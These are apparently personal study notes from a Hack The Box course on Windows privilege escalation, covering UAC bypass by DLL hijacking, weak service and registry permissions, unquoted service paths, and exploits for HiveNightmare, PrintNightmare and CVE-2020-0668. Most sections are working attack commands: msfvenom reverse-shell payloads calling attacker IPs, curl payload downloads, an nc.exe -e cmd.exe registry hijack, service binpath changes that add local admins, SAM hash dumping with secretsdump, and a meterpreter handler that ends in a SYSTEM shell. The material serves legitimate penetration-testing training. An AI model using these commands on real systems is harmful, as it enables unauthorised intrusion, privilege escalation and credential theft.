User Account Control (UAC) attacks
Feature that enables consent prompt for elevated actions.
Applications have integrity levels, programs with high level can perform tasks that can potentially compromise a system.
Enabled = apps + tasks always run under sec context of a non-admin account unless admin explicitly authorizes apps/tasks to have admin level access.
Admins can use sec policies to configure UAC works specific to their org at local level, using secpol.msc - or configured / pushed to env via GPO (Group policy objects) in AD domain. https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-security-policy-settings
DEFAULT 500 RID Administrator account always operates at high mandatory level. With Admin Approval mode (AAM) enabled - new admin accounts will operate at medium mandatory level by default + assigned two separate access tokens upon login.
UAC Group Policy grid
Confirming UAC is enabled, checking UAC
No cmdline version of gui consent prompt - so bypass UAC require to execute cmds with privileged access token.
Confirming enabled, and level
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v EnableLUA
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
EnableLUA REG_DWORD 0x1
REG QUERY HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System\ /v ConsentPromptBehaviorAdmin
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
ConsentPromptBehaviorAdmin value is 0x5 indicating highest UAC level of Always Notify is enabled. Fewer UAC bypasses at this highest level.
Checking windows environment version
[environment]::OSVersion.Version
Major Minor Build Revision
----- ----- ----- --------
10 0 14393 0
See: Build version 14393 - Using this page we cross-reference to Windows release 1607: https://en.wikipedia.org/wiki/Windows_10_version_history
UACME Project The UACME project maintains a list of UAC bypasses, including information on the affected Windows build number, the technique used, and if Microsoft has issued a security update to fix it.
there's many trusted binaries Windows allows to auto-elevate, without prompting UAC
Example of UAC bypass
https://egre55.github.io/system-properties-uac-bypass
- Tehnique #54 in above project
- Attempt loading non-existent DLL
srrstr.dll(Used by system restore functionality)
When attempting to locate a DLL, Windows will use the following search order.
- The directory from which the application loaded.
- The system directory
C:\Windows\System32for 64-bit systems. - The 16-bit system directory
C:\Windows\System(not supported on 64-bit systems) - The Windows directory.
- Any directories that are listed in the PATH environment variable.
Examining PATH var
cmd /c echo %PATH%
[...]
C:\Users\sarah\AppData\Local\Microsoft\WindowsApps;
Reveals default folders. WindowsApps folder is within user profile and writable by user.
We can potentially bypass UAC in this by using DLL hijacking - placing malicious srrstr.dll DLL in WindowsApps, loaded in an elevated context.
Generate malicious srrstr.dll
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=8443 -f dll > srrstr.dll
--begin py serv
Basic transferring. wget or curl
curl http://10.10.14.3:8080/srrstr.dll -O "C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll"
Start listener.
Executing malicious srrstr.dll by itself - receive shell with normal user rights (UAC enabled)
use rundll32.exe to confirm
rundll32 shell32.dll,Control_RunDLL C:\Users\sarah\AppData\Local\Microsoft\WindowsApps\srrstr.dll
(if you run this to test, make sure you kill any instances of rundll32 process before proceeding)
C:\htb> tasklist /svc | findstr "rundll32"
rundll32.exe 6300 N/A
rundll32.exe 5360 N/A
rundll32.exe 7044 N/A
C:\htb> taskkill /PID 7044 /F
SUCCESS: The process with PID 7044 has been terminated.
C:\htb> taskkill /PID 6300 /F
SUCCESS: The process with PID 6300 has been terminated.
C:\htb> taskkill /PID 5360 /F
SUCCESS: The process with PID 5360 has been terminated.
Now, try 32-bit verseion of target binary on target host
C:\Windows\SysWOW64\SystemPropertiesAdvanced.exe
and we should receive a connection back 
Weak permissions
Following examples usually less common in major(enterprise), large vendor applications but more common in third party software from smaller vendors, opensource software, and custom applications
Permissive file systems ACLs
SharpUp usage is helpful here to check for service binaries suffering from weak ACLs
https://github.com/GhostPack/SharpUp/
.\SharpUp.exe audit
=== SharpUp: Running Privilege Escalation Checks ===
=== Modifiable Service Binaries ===
Name : SecurityService
DisplayName : PC Security Management Service
Description : Responsible for managing PC security
State : Stopped
StartMode : Auto
PathName : "C:\Program Files (x86)\PCProtect\SecurityService.exe"
icacls - Checking permissions and verify vulnerability to see EVERYONE + BUILTIN\Users groups have full perms to the directory - meaning any unpriv sys user can manipulate the directory and its contents
icacls "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\Program Files (x86)\PCProtect\SecurityService.exe BUILTIN\Users:(I)(F)
Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
Replace service binary
- startable by unpriv
- make backup, replace with malicious payload created by msfvenom
C:\htb> cmd /c copy /Y SecurityService.exe "C:\Program Files (x86)\PCProtect\SecurityService.exe"
C:\htb> sc start SecurityService
Weak service permissions
Similar as above - Use SharpUp.exe audit to locate modifiable service binaries
Checking permissions with AccessChk
-q (omit banner), -u (suppress errors), -v (verbose), -c (specify name of a Windows service), and -w (show only objects that have write access)
accesschk.exe /accepteula -quvcw WindscribeService
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
WindscribeService
Medium Mandatory Level (Default) [No-Write-Up]
RW NT AUTHORITY\SYSTEM
SERVICE_ALL_ACCESS
RW BUILTIN\Administrators
SERVICE_ALL_ACCESS
RW NT AUTHORITY\Authenticated Users
SERVICE_ALL_ACCESS
Confirm your user is not an admin.
Change service binary path
sc config WindscribeService binpath="cmd /c net localgroup administrators htb-student /add"
[SC] ChangeServiceConfig SUCCESS
sc stop and sc start service to make binpath cmd executed
https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-1322 Is another example of the above vulnerability, service accounts able to leverage weak permissions and Update Orchestrator Service UsoSvc and escalate to SYSTEM
Clean-up post-exploit
C:\htb> sc config WindScribeService binpath="c:\Program Files (x86)\Windscribe\WindscribeService.exe"
Unquoted Service Paths
If binary not encapsulated in quotes, windows will atempt to locate a binary in different folders. Example binpath:
C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
Order of evaluation:
C:\Program
C:\Program Files
C:\Program Files (x86)\System
Example:
C:\htb> sc qc SystemExplorerHelpService
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: SystemExplorerHelpService
TYPE : 20 WIN32_SHARE_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\System Explorer\service\SystemExplorerService64.exe
If able to place binary in this file location, can be exploited:
C:\Program Files (x86)\System.exeC:\Program.exe
It's likely you don't have write perms on above locations however.
Searching for unquoted service paths:
C:\htb> wmic service get name,displayname,pathname,startmode |findstr /i "auto" | findstr /i /v "c:\windows\\" | findstr /i /v """
Permissive Registry ACLs
Using accesschk:
accesschk.exe /accepteula "mrb3n" -kvuqsw hklm\System\CurrentControlSet\services
Accesschk v6.13 - Reports effective permissions for securable objects
Copyright ⌐ 2006-2020 Mark Russinovich
Sysinternals - www.sysinternals.com
RW HKLM\System\CurrentControlSet\services\ModelManagerService
KEY_ALL_ACCESS
<SNIP>
Above is abusable with powershell Set-ItemProperty to change ImagePath value:
PS C:\htb> Set-ItemProperty -Path HKLM:\SYSTEM\CurrentControlSet\Services\ModelManagerService -Name "ImagePath" -Value "C:\Users\john\Downloads\nc.exe -e cmd.exe 10.10.10.205 443"
Modifiable Registry Autorun Binary
Using WMIC - Check startup programs. Suppose write perms to registry for given binary, and can overwrite a listed binary. In this case, we can escalate privileges to another user - next time they login.
Get-CimInstance Win32_StartupCommand | select Name, command, Location, User |fl
https://www.microsoftpressstore.com/articles/article.aspx?p=2762082&seqNum=2
Above links detail many potential autorun locations on Win systems.
Kernel Exploits
https://msrc.microsoft.com/update-guide/vulnerability Exploit database.
There's many high impact windows vulns and usually when a CVE is released there's a trickledown effect where prior versions are affected
Commonly, boxes are not accessible from outside - Land on a box, forward port to a service like SMB, and leveraging an RCE CVE to escalate privileges.
Some examples covered in Module: MS08-067
- RCE vuln in "Server" service, improper handling of RPC.
- While typically encountered in client envs as RCE, may land on host where SMB blocked via firewall - Vuln can be used to escalate privs after forwarding 445 back to our attacking box.
Legacybox on HTB showcases this vuln. MS17-010 - EternalBlue
- Mishandled SMB packets. Similar attack vector as above. ALPC Task Scheduler 0-day
- ALPC Endpoint used by task scheduler could write arbitrary DACLs to
.jobfiles located atC:\Windows\Tasks - Leveraged by creating hard link to file that attacker controls
- Exploit used SchRpcSetSecurity API function to call a print job using the XPS printer and hijack the DLL as NT AUTHORITY\SYSTEM via the Spooler service.
SeriousSam walkthrough
CVE-2021-36934 HiveNightmare, aka SeriousSam
- Any user able to read windows registry + access sensitive information
- Allow reading of SAM, SYSTEM, SECURITY reg hives
- https://doublepulsar.com/hivenightmare-aka-serioussam-anybody-can-read-the-registry-in-windows-10-7a871c465fa5
- https://github.com/GossiTheDog/HiveNightmare/raw/master/Release/HiveNightmare.exe
- Detection:https://github.com/GossiTheDog/HiveNightmare/blob/master/Mitigation.ps1
icacls to check perms on SAM file
C:\htb> icacls c:\Windows\System32\config\SAM
C:\Windows\System32\config\SAM BUILTIN\Administrators:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
- readable by BUILTIN\Users
Successful exploitation requires presence of one/more shadow copies. Most win10 systems will have System Protection enabled by default which will create period backups + including shadow copy necessary to leverage flaw
Run poc https://github.com/GossiTheDog/HiveNightmare
.\HiveNightmare.exe - Places hive files in cwd
Typical secretsdump usage after this to extract hashes
impacket-secretsdump -sam SAM-2021-08-07 -system SYSTEM-2021-08-07 -security SECURITY-2021-08-07 local
PrintNightmare
CVE-2021-1675/CVE-2021-34527 PrintNightmare
SeLoadDriverPrivilege ability to add printer devices.
Affects a wide version of winservers and not trivial to fix, hence Nightmare
https://github.com/cube0x0/CVE-2021-1675
- Poc allows execution of malicious DLL remotely / locally with modified version of impacket
Check for spooler service:
ls \\localhost\pipe\spoolss
Exec bypass: https://www.netspi.com/blog/technical/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/
Set-ExecutionPolicy Bypass -Scope Process
Import script and add local admin:
Import-Module .\CVE-2021-1675.ps1
Invoke-Nightmare -NewUser "hacker" -NewPassword "Pwnd1234!" -DriverName "PrintIt"
Enumerating missing patches
Examining installed updates
PS C:\htb> systeminfo
PS C:\htb> wmic qfe list brief
PS C:\htb> Get-Hotfix
WMI:
wmic qfe list brief
Reference each KB to Microsoft Update Catalog:
https://www.catalog.update.microsoft.com/Search.aspx?q=KB5000808
CVE-2020-0668 Example
Next, let's exploit Microsoft CVE-2020-0668: Windows Kernel Elevation of Privilege Vulnerability https://itm4n.github.io/cve-2020-0668-windows-service-tracing-eop/
- Arbitrary file move vuln - using Windows Service Tracing
- WST allow users to troubleshoot issues with running services / modules by generating debug info
- Params configurable via registry
- Setting MaxFileSize val smaller than actual size of a file prompts it to be renamed with a
.OLDextension when service is triggered - and this move operation is performed byNT AUTHORITY\SYSTEM- can be abused to move a file of our choosing with mount points and symbolic links.
https://github.com/RedCursorSecurityConsulting/CVE-2020-0668 Poc: Open within VisStu in a VM. Building solution yields:
CVE-2020-0668.exe
CVE-2020-0668.exe.config
CVE-2020-0668.pdb
NtApiDotNet.dll
NtApiDotNet.xml
- Does not work to overwrite protected windows files
- Needs to be chained with another vulnerability like UsoDllLoader or DiagHub to load the DLL + escalate our privileges.
- UsoDll may not work if winupdate pending / being installed
- DiagHub svc may not be available
- Outside of above, can look for 3p software to be leveraged like
Mozilla Maintenance service- Runs in context of system, startable by unpriv users. The (non-system protected) binary for this svc is located at:C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe
C:\htb> icacls "c:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL APPLICATION PACKAGES:(I)(RX)
APPLICATION PACKAGE AUTHORITY\ALL RESTRICTED APPLICATION PACKAGES:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
- Demonstrates we only have read/exec perms on this binary -
BUILTIN\Users:(I)(RX)
Generate malicious binary
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.14.3 LPORT=8443 -f exe > maintenanceservice.exe
Host with py server, transfer to target.
C:\Tools\CVE-2020-0668\CVE-2020-0668.exe C:\Users\htb-student\Desktop\maintenanceservice.exe "C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe"
After running the cve poc, icacls shows we have full control over this binary now.
C:\htb> icacls 'C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe'
C:\Program Files (x86)\Mozilla Maintenance Service\maintenanceservice.exe NT AUTHORITY\SYSTEM:(F)
BUILTIN\Administrators:(F)
WINLPE-WS02\htb-student:(F)
Thus, we can replace the maintenance service binary with our malicious one. Important point here is to backup the version of the binary BEFORE we ran the CVE POC so we still have a 'good' working version of the binary
Exploit walkthrough involves usage of a metasploit resource script https://docs.rapid7.com/metasploit/resource-scripts/ Basically a way of scripting opening a metasploit listener
use exploit/multi/handler
set PAYLOAD windows/x64/meterpreter/reverse_https
set LHOST <our_ip>
set LPORT 8443
exploit
sudo msfconsole -r handler.rc
Start the malicious binary:
net start MozillaMaintenance
Metasploit catch:
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM